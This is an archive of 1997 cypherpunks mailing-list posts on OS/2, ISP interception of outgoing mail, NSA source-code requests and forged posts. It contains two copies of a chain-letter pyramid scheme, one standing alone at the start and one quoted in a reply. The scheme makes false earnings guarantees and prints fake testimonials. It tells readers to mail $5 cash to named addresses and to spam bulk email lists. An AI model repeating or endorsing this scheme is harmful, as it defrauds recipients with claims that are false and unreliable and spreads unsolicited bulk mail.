"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
 
ORDER REPORT #2 FROM:

Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"
 
ORDER REPORT #3 FROM:

Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"
 
ORDER REPORT #4 FROM:

BRYOCOM GLOBAL 
9608 N May Ave #230
Oklahoma City, OK 73120 


_______________________________________________________
 
CONCLUSION
 
I am enjoying my fortune that I made by sending out this program. You too, will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.
 
To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments, retire
or take a vacation.  No longer will a lack of money hold you back.
 
However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it.  It is much easier to say "NO" than "YES", and this is the question that you must answer.  Will YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change.  Please re-read this material, this is a special opportunity. If you have any questions, please feel free to write to the sender of this information.  You will get a prompt and informative reply.
 
My method is simple.  I sell thousands of people a product for $5 that costs me pennies to produce and email.  I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam.  At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, NO product what-so-ever!  Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive.
 
You are offering a legitimate product to your people.  After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise.  As you learned from the enclosed  material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  
The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program.  The concise one and two page REPORTS you will be buying can easily be reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!
 
"IT WAS TRULY AMAZING"
 
"Not being the gambling type, it took me several weeks to make up my mind to participate in this program.  But conservative as I am, I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back.  BOY, was I ever surprised when I found my medium sized post office box crammed with orders!  I will make more money this year than any ten years of my life before."
 
                                        Mary Riceland, Lansing, MI
 
TIPS FOR SUCCESS
 
Send for your four 4 REPORTS immediately so you will have them when the orders start coming in.  When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE  MUST BE EXCHANGED FOR MONEY RECEIVED."
 
WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
 
1.        Name your new company. You can use your own name if you desire.
 
2.        Get a post office box (preferred).
 
3.        Edit the names and addresses on the program. You must remember,  your name and address go next to REPORT #1 and the others all move down one, with the fourth one being bumped OFF the list.
 
4.        Obtain as many email addresses as possible to send until you
           receive the information on mailing list companies in REPORT #3.
 
5.        Decide on the number of programs you intend to send out.  The more you  send, and the quicker you send them, the more money  you will make. 

6.        After mailing the programs, get ready to fill the orders.
 
7.        Copy the four 4 REPORTS so you are able to sent them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE  ON ORDERS YOU RECEIVE!
 
8.        Make certain the letter and reports are neat and legible.
 
YOUR GUARANTEE
 
The check point which GUARANTEES your success is simply this:  you must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't within two weeks, email out more programs until you do.  Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do.  Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and  relax, because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000. Mathematically  it is  a  proven  guarantee.   Of  those  who  have participated in the program
and reached the above GUARANTEES-ALL have reached their $50,000 goal.  

Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!
 
REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 8 Jul 1997 13:22:19 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <24eH0D4w165w@bwalk.dm.com>
Message-ID: <199707080506.AAA14434@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <24eH0D4w165w@bwalk.dm.com>, on 07/07/97 
   at 01:15 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>I've replaced OS/2 on it by Windows 95.

Sorry to hear of your downgrade. :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend+cypherpunks@sten.tivoli.com>
Date: Tue, 8 Jul 1997 13:27:52 +0800
To: cypherpunks@ssz.com
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <3.0.2.32.19970704104000.006ba75c@popd.ix.netcom.com>
Message-ID: <vpd8ouyv8j.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> Bill Stewart writes:

BS> At 06:14 PM 7/3/97 +0200, Anonymous wrote:
>> Anyone heard of a proposal for ISPs to automatically sign outgoing
>> mail headers?  Problem has been that spammers send email by one
>> path but forge a reply-to or from address at another location.

BS> Flat-out can't work.  The problem is that you can send SMTP
BS> directly from your machine to its destination, so the ISP only
BS> routes the IP packets and doesn't read them.

	But it could - it's simple firewall technology.  There's no MX
record for sten.tivoli.com, but any incoming email to me is
intercepted by proxy.tivoli.com, as is all other incoming traffic to
the internal tivoli.com network on port 25.  Since 'incoming' is only
a matter of definition, it would be trivial for an ISP to set up a
firewall that passed all other ports through transparently, but
redirected connections with a destination of port 25 to their own SMTP
server.

	I don't want them to, and I _certainly_ don't want the
government goons requiring ISPs to do this, but don't sit back and
relax with the notion that 'it can't be done'.

- -- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 15:31:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970707141240.00967c00@localhost>
Message-ID: <v03102809afe79a64b197@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:31 PM -0700 7/7/97, Bill Frantz wrote:

>You will have to decide for yourself how important the extra "convenience"
>of an electronic copy is compared with the publisher's stated intent to
>"never do this again" if it is posted.  It is a simple case of future
>benefit vs. immediate gratification.

Anytime a statement like this is made, one can count on the text being
posted. The act of posting such a warning, seen as a dare to many, or as a
suddenly very attractive target, ensures that it will be posted.

Either by someone just wanting to be the one to provoke an action, or by
the imp of the perverse, or by some TLA spook seeing in his posting the
solution to the problem of crypto knowledge proliferation.

(Not to mention being posted by someone who thinks it more important that
the knowledge get spread widely than that the publisher collect incremental
revenues.)

Similarities with such warnings to children--or to the infamous "Don't
think about the color blue for the next minute"--are left for you to ponder.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 8 Jul 1997 13:58:29 +0800
To: cypherpunks@toad.com
Subject: Re: FYI: NSA Requests Source Code From Elvis+
Message-ID: <199707080547.AAA14817@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3971.1071713713.multipart/signed"

--Boundary..3971.1071713713.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


In <Pine.SUN.3.96.970707144023.5963L-100000@beast.brainlink.com>, on
07/07/97
   at 02:43 PM, Ray Arachelian <sunder@brainlink.com> said:

>On Mon, 7 Jul 1997, Ulf [iso-8859-1] M÷ller wrote:

>> Why should the US government get access to the source code of foreign
>> product being imported to the US?

>Because they are scum who don't care about the property rights of
>corporations.  I wonder what would happen if Sun would instead say "Fuck
>you no way" or whether they were threatened into giving it up?

Well if Sun, M$, N$, IBM, HP, et. al. had some balls and told the NSA a
long time ago to "Fuck Off" we wouldn't see all this tap dancing around
ITAR right now.

"Either we all hang together or we will all assuredly hang"

--
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html          
---------------------------------------------------------------

PGP signature



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gbrd-man <snifong@ix.netcom.com>
Date: Tue, 8 Jul 1997 13:57:21 +0800
To: "bennett_t1@popmail.firn.edu>
Subject: RE: Need Money? This REALLY works!!!
Message-ID: <01BC8B3F.78F2A660.snifong@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Bennett,
I think you need to send this guy your flame form, too.

NOTE: "If you have not requested this message then please disregard 
and accept our apologies.  PLEASE DO NOT READ ANY FURTHER UNLESS YOU 
NEED MORE MONEY!?!"
Dear friend,

July 1997.  Mark your calender.  This is no joke and I'm not here to 
waste your time, so pay close attention.  The plan is SIMPLE, and 
actually WORKS, for one reason only:  "32 cents"  
By this I mean a lack thereof...no letters to mail.  Only a few 
strokes of your keyboard and a few thousand emails moving at the 
speed of light, for FREE, other than your internet access fee.  It's 
started with VERY MINIMAL  outlay ($20) and the income return will 
have you laughing in DISBELIEF all the way to the bank.  Do it now or 
hear about it later...read on please, and thank me when you make your 
first $1000....
Talk to you in eight weeks...

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days.  Read 
the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
 
The enclosed information is something I almost let slip through my 
fingers. Fortunately, sometime later I re-read everything and gave 
some thought and study to it.
My name is Christopher Erickson.  Two years ago, the corporation I 
worked at for the past twelve years down-sized and my position was 
eliminated.  After unproductive job interviews,  I decided to open my 
own business.  Over the past year, I incurred many unforeseen 
financial problems.  I owed my family, friends, and creditors over 
$35,000.  The economy was taking a toll on my business and I just 
couldn't seem to make ends meet.  I had to refinance and borrow 
against my home to support my family and struggling business.  I 
truly believe it was wrong for me to be in debt like this.  AT THAT 
MOMENT something significant happened in my life and I am writing to 
share my experience in hopes that this will change your life 
FOREVER....FINANCIALLY!!!
In mid-December, I received this program via email.  Six months prior 
to
receiving this program I had been sending away for information on 
various business opportunities.  All of the programs I received, in 
my opinion, were not cost effective.  They were either too difficult 
for me to comprehend or the initial investment was too much for me to 
risk to see if they worked or not.  One claimed I'd make a million 
dollars in one year...it didn't tell me I'd have to write a book to 
make it.
But like I was saying, in December of '95 I received this program.  I 
didn't send for it, or ask for it, they just got my name off a 
mailing list.  THANK GOODNESS FOR THAT!!!  After reading it several 
times, to make sure I was reading it correctly, I couldn't believe my 
eyes.  Here was a MONEY-MAKING  PHENOMENON.  I could invest as much 
as I wanted to start, without putting  me further in debt.  After I 
got a pencil and paper and figured it out, I would at
least get my money back.  After determining that the program is LEGAL 
and NOT A CHAIN LETTER, I decided "WHY NOT".
Initially I sent out 10,000 emails.  It only cost me about $15.00 for 
my
time on-line.  The great thing about email is that I didn't need any 
money
for printing to send out the program, only the cost to fulfill my 
orders.  I
am telling you like it is, I hope it doesn't turn you off, but I 
promised
myself that I would not "rip-off" anyone, no matter how much money it 
cost me!
 
A good program to help do this is Ready Aim Fire, an email extracting 
and mass mail program at:
http://microsyssolutions.com/
In less than one week, I was starting to receive orders for REPORT 
#1. By January 13th, I had received 26 orders for REPORT #1.  When 
you read the GUARANTEE in the program, you will see that "YOU MUST 
RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU 
DON'T,  SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in 
making $50,000 in 20 to 90 
days was done.  By January 30th, I had received 196 orders for REPORT 
#2.  If  you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE 
ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE 
PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, 
RELAX, 
YOU WILL MAKE YOUR $50,000 GOAL."
Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I 
sat back and relaxed.  By March 19th, of my emailing of 10,000, I 
received $58,000 with more coming in every day.
I paid off  ALL my debts and bought a much needed new car.  Please 
take time to read the attached program, IT WILL CHANGE YOUR LIFE 
FOREVER!
Remember,  it wont work  if you don't try it.  This program does 
work, but you must follow it EXACTLY!  Especially the rules of not 
trying to place your name in a different place.  It doesn't work, 
you'll lose out on a  lot of  money!  REPORT  #2  explains this.  
Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100 
or more orders for REPORT #2 and you will  make  $50,000 or more in 
20 to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!
If you choose not to participate in this program, I'm sorry.  It 
really is a
great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to 
financial
security.
 
If you are a fellow business owner and you are in financial trouble 
like I
was, or you want to start your own business, consider this a sign.  I 
DID!
 
Sincerely,
Christopher Erickson
 
PS  Do you have any idea what 11,700 $5 bills ($58,000) look like 
piled up on a kitchen table? IT'S AWESOME!
"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no 
idea who to contact to get a copy, so I had to wait until I was 
emailed another copy of the program.  Eleven months passed, then it 
came.  I DIDN'T throw this one away.  I made $41,000 on the first 
try."
Dawn W., Evansville, IN
"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free 
lunch in
life.  You get out of life what you put into it.'  Through trial  and 
error
and a somewhat slow frustrating start, I finally figured it out. The 
program works very well, I just had to find the right target group of 
people to email it to.  So far this year, I have made over $63,000 
using this program. I know my dad would have been very proud of me."
Alan B., Philadelphia, PA
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
By the time you have read the enclosed information and looked over 
the enclosed program and reports, you should have concluded that such 
a program, and  one that is legal,  could not have been created by an 
amateur.
Let me tell you a little about myself.  I had a profitable business 
for ten
years.  Then in 1979 my business began falling off.  I was doing the 
same things that were previously successful for me, but it wasn't 
working. Finally, I figured it out.  It wasn't me, it was the 
economy. Inflation and recession had replaced the stable economy that 
had been with us since 1945. I don't have to tell you what happened 
to the unemployment rate...because many of you know from first hand  
experience. There were more failures and bankruptcies than ever 
before.
The middle class was vanishing.  Those who knew what they were doing 
invested wisely and moved up.  Those who did not, including those who 
never had anything to save or invest, were moving down into the ranks 
of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET POORER."  
The traditional methods of making money will never allow you to "move 
up" or "get rich", inflation will see to that.  You have just 
received information that can  give you financial freedom for the 
rest of your life, with "NO RISK" and "JUST A  LITTLE BIT OF EFFORT." 
 You can make more money in the next few months  than you have ever 
imagined.
I should also point out that I will not see a penny of your money, 
nor
anyone else who has provided a testimonial for this program.  I have 
already made over FOUR MILLION DOLLARS!  I have retired from the 
program after sending out over 16,000 programs.  Now I have several 
offices which market this and several other programs here in the US 
and overseas.  By the Spring, we wish to market the 'Internet' by a 
partnership with AMERICA ON LINE.
Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any 
way. It works exceedingly well as it is now.  Remember to email a 
copy of this exciting program to everyone that you can think of.  One 
of the people you send this to may send out 50,000...and your name 
will be on every one of them!.  Remember though, the more you send 
out, the more potential customers
you will reach.
So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!
 
"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, 
take a
little time to read it and REALLY THINK ABOUT IT.  Get a pencil and 
figure out what could happen when YOU participate.  Figure out the 
worst possible response and no matter how you calculate it, you will 
still make a lot of money!  Definitely get back what you invested.  
Any doubts you have will  vanish when your first orders come in.  IT 
WORKS!
Paul Johnson, Raleigh, NC
HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
Let's say that you decide to start small, just to see how it goes, 
and we'll
assume you and all those involved send out 2,000 programs each. Let's 
also assume that the mailing receives a .5% response.  Using a good 
list the response could be much better.  Also many people will send 
out hundreds of thousands of programs instead of 2,000.  But 
continuing with this example, you send out only 2,000 programs.  With 
a .5% response, that is only 10 orders for REPORT #1.  Those 10 
people respond by sending out 2,000 programs each for a total of 
20,000.  
Out of those .5%, 100 people respond and order REPORT #2.  Those 100 
mail out 2,000 programs each for a total of 200,000.  The .5% 
response to that is 1,000 orders for REPORT #3.  Those 1,000 send out 
2,000 programs each for a 2,000,000 total.  The .5% response to that 
is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for 
you. CASH!!!!  Your total income in this example is $50 + $500 + 
$5000 +$50,000 for a total of $55,550!!!!
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU  MAIL 
TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!   DARE TO 
THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE   OR HALF SENT OUT 
100,000 PROGRAMS INSTEAD OF ONLY 2,000.  
Believe me, many people will do that and more!  By the way, your cost 
to participate in this is practically nothing.  You obviously already 
have an internet connection and email is FREE!!!  REPORT #3 will show 
you the best methods for bulk emailing and purchasing email lists.
THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not  
require you to come in contact with people, do any hard work, and 
best of all, you never have to leave the house except to get the 
mail.  If you believe that someday you'll get that big break that 
you've been waiting for, THIS IS IT!
Simply follow the instructions, and your dream will come true.  This
multi-level email order marketing program works perfectly...100% 
EVERY TIME.
Email is the sales tool of the future.  Take advantage of this
non-commercialized method of advertising NOW!!  The longer you wait, 
the more people will be doing business using email.  Get your piece 
of this action!!
 
MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is 
being taught in the Harvard Business School, and both Stanford 
Research and The Wall Street Journal have stated that between 50% and 
65% of all goods and services will be sold throughout Multi-level 
Methods by the mid to late 1990's.  This is a Multi-Billion Dollar 
industry and of the 500,000 millionaires in the US, 20% (100,000) 
made their fortune in the last several years in MLM.  Moreover, 
statistics show 45 people become millionaires everyday through Multi-
Level Marketing.
INSTRUCTIONS
We at Erris Mail Order Marketing Business, have a method of raising 
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could 
use  $50,000 to $125,000 in the next 20 to 90 days.  Before you say 
"Bull", please read  the program carefully.
This is not a chain letter, but a perfectly legal money making 
opportunity.
Basically, this is what we do:  As with all multi-level business, we 
build
our business by recruiting new partners and selling our products.  
Every
state in the USA allows you to recruit new multi-level business 
partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND 
ARE FILLED THROUGH THE MAIL, so you are not involved in personal 
selling.  You do it privately in your own home, store or office.
 
This is the GREATEST Multi-level Mail Order Marketing anywhere:
STEP (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do 
this by ordering the REPORT from each of the four 4 names listed on 
the next page. For each REPORT, send $5 CASH and a SELF-ADDRESSED, 
STAMPED  envelope (BUSINESS SIZE #10) to the person listed for the 
SPECIFIC REPORT.   International orders should also include $1 extra 
for postage.  It is essential  that you specify the NAME and NUMBER 
of the report requested to the person you are ordering from.  You 
will need ALL FOUR (4) REPORTS because you will be REPRINTING and 
RESELLING them. DO NOT alter the names or sequence other than what 
the instructions say.
IMPORTANT:  Always provide same-day service on all orders.
STEP (2) Now you have to make some changes in this email message 
before you are ready to start sending it out.  Replace  the  name  
and  address  under  REPORT #1  with yours, moving the one that was 
there down to REPORT #2.   Drop  the  name and address  under REPORT 
#2 to REPORT #3, moving the one that was there to REPORT #4.   The 
name and address that was under REPORT #4 is dropped from the list 
and  this party  is  no doubt on the way to the bank.  When doing 
this, make certain you  type the names and addresses ACCURATELY!  DO 
NOT MIX UP MOVING 
PRODUCT/REPORT  POSITIONS!!!
STEP (3)   Having made the required changes in the NAME list, save it 
as a text (.txt) file in it's own directory to be used with whatever 
email
program you like. Again, REPORT #3 will tell you the best methods of 
bulk emailing and acquiring email lists. Step (4)   Email a copy of 
the entire program (all of this is very important) to everyone whose 
address you can get your hands on. Start with friends and relatives 
since you can encourage them to take advantage of this  fabulous  
money-making opportunity. that's what I did.  And they love me now, 
more than ever. Then, email to anyone and everyone!  Use your 
imagination! You can get email addresses from companies on the 
internet who specialize in email mailing lists.  These are very
cheap, 100,000 addresses for around $35.00.
IMPORTANT:  You won't get a good response if you use an old list, so 
always request a FRESH, NEW list. You will find out where to purchase 
these lists when you order the four 4 REPORTS.
ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
REQUIRED REPORTS
***Order each REPORT by NUMBER and NAME***
ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM:
Mahajan Marketing
PO Box 2287
Merrifield, VA 22116-2287
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
ORDER REPORT #2 FROM:
Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:
Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT #4 FROM:

BRYOCOM GLOBAL 
9608 N May Ave #230
Oklahoma City, OK 73120 


_______________________________________________________
 
CONCLUSION
I am enjoying my fortune that I made by sending out this program. You 
too, will be making money in 20 to 90 days, if you follow the SIMPLE 
STEPS
outlined in this mailing.
To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments, 
retire
or take a vacation.  No longer will a lack of money hold you back.
 
However, very few people reach financial independence, because when 
opportunity knocks, they choose to ignore it.  It is much easier to 
say "NO" than "YES", and this is the question that you must answer.  
Will YOU ignore this amazing opportunity or will you take advantage 
of it? If you do nothing, you have indeed missed something and 
nothing will change.  Please re-read this material, this is a special 
opportunity. If you have any questions, please feel free to write to 
the sender of this information.  You will get a prompt and 
informative reply.
My method is simple.  I sell thousands of people a product for $5 
that costs me pennies to produce and email.  I should also point out 
that this program is legal and everyone who participates WILL make 
money. This is not a chain letter or pyramid scam.  At times you have 
probably received chain letters, asking you to send money, on faith, 
but getting NOTHING in return, NO product what-so-ever!  Not only are 
chain letters illegal, but the risk of someone breaking the chain 
makes them quite unattractive.
You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them. 
It's simple free enterprise.  As you learned from the enclosed  
material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS 
REPORTS.  
The information contained in these REPORTS will not only help you in 
making your participation in this program more rewarding, but will be 
useful to you in any other business decisions you make in the years 
ahead. You are also buying the rights to reprint all of the REPORTS, 
which will be ordered from you by those to whom you mail this 
program.  The concise one and two page REPORTS you will be buying can 
easily be reproduced at a local copy center for a cost off about 3 
cents a copy.
Best wishes with the program and Good Luck!
"IT WAS TRULY AMAZING"
"Not being the gambling type, it took me several weeks to make up my 
mind to participate in this program.  But conservative as I am, I 
decided that the initial investment was so little that there was no 
way that I could not get enough orders to at least get my money back. 
 BOY, was I ever surprised when I found my medium sized post office 
box crammed with orders!  I will make more money this year than any 
ten years of my life before."
Mary Riceland, Lansing, MI
TIPS FOR SUCCESS
Send for your four 4 REPORTS immediately so you will have them when 
the orders start coming in.  When you receive a $5 order, you MUST 
send out the product/service to comply with US Postal and Lottery 
laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A 
PRODUCT OR SERVICE  MUST BE EXCHANGED FOR MONEY RECEIVED."
WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
1.	Name your new company. You can use your own name if you desire.
2.	Get a post office box (preferred).
3.	Edit the names and addresses on the program. You must remember,  
your name and address go next to REPORT #1 and the others all move 
down one, with the fourth one being bumped OFF the list.
4.	Obtain as many email addresses as possible to send until you
receive the information on mailing list companies in REPORT #3.
5.	Decide on the number of programs you intend to send out.  The more 
you  send, and the quicker you send them, the more money  you will 
make. 
6.	After mailing the programs, get ready to fill the orders.
7.	Copy the four 4 REPORTS so you are able to sent them out as soon 
as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE  
ON ORDERS YOU RECEIVE!
8.	Make certain the letter and reports are neat and legible.
 
YOUR GUARANTEE
The check point which GUARANTEES your success is simply this:  you 
must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If 
you don't within two weeks, email out more programs until you do.  
Then a couple of weeks later you should receive at least 100 orders 
for REPORT #2, if you don't, send out more programs until you do.  
Once you have received 100 or more orders for REPORT #2, (take a deep 
breath) you can sit back and  relax, because  YOU  ARE  GOING TO  
MAKE  AT  LEAST  $50,000. Mathematically  it is  a  proven  
guarantee.   Of  those  who  have participated in t
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Tue, 8 Jul 1997 16:07:34 +0800
To: Firebeard <stend+cypherpunks@sten.tivoli.com>
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <vpd8ouyv8j.fsf@sten.tivoli.com>
Message-ID: <Pine.LNX.3.96.970708073559.154B-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On 8 Jul 1997, Firebeard wrote:

> 	But it could - it's simple firewall technology.  There's no MX
> record for sten.tivoli.com, but any incoming email to me is
> intercepted by proxy.tivoli.com, as is all other incoming traffic to
> the internal tivoli.com network on port 25.  Since 'incoming' is only
> a matter of definition, it would be trivial for an ISP to set up a
> firewall that passed all other ports through transparently, but
> redirected connections with a destination of port 25 to their own SMTP
> server.

Very much depends on how `ISP' is defined.  All my mail now comes in
via UUCP, which is another port (540, I think).  Outgoing mail goes
to another system which is run from a friend's house, and therefore
probably doesn't count as an ISP (again, UUCP).

> 	I don't want them to, and I _certainly_ don't want the
> government goons requiring ISPs to do this, but don't sit back and
> relax with the notion that 'it can't be done'.

It certainly _can_ be done.  Almost anything _can_ be done.
Whether it should (and in this case, it shouldn't!) be done is another issue.

dave

-- David E. Smith, P O Box 324, Cape Girardeau MO 63702
(573)334-0950  dave@[clas.net | linuxware.com | ml.org]
1000s of Magic:The Gathering cards 4 sale! Info on req.
Keywords: CPSR EFF ACLU DS6724 Delphi SF bureau42 Wicca
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 8 Jul 1997 16:04:05 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
In-Reply-To: <199707080550.HAA12425@basement.replay.com>
Message-ID: <199707080749.CAA16060@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <199707080550.HAA12425@basement.replay.com>, on 07/08/97 
   at 07:50 AM, nobody@REPLAY.COM (Anonymous) said:

>Kent Crispin is another fabrication of Toto's, this time with no apparent 
>model. 

Hey now give credit where credit is due!!

Kent Crispin is my creation!!! His sole purpose is so I can refute his
posts.

I beleive in literary terms this is know as a foil. :)

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 8 Jul 1997 18:22:38 +0800
To: cypherpunks@cyberpass.net
Subject: Contracts on the Net (NYT)
Message-ID: <Chameleon.868353297.amp@tx86_8>
MIME-Version: 1.0
Content-Type: text/plain





The New York Times      MONDAY, JULY 7, 1997


Lack Of Contracts Undermine Internet Transactions

By GEANNE ROSENBERG


Beyond the violets and refrigerated roses, in the back room of the
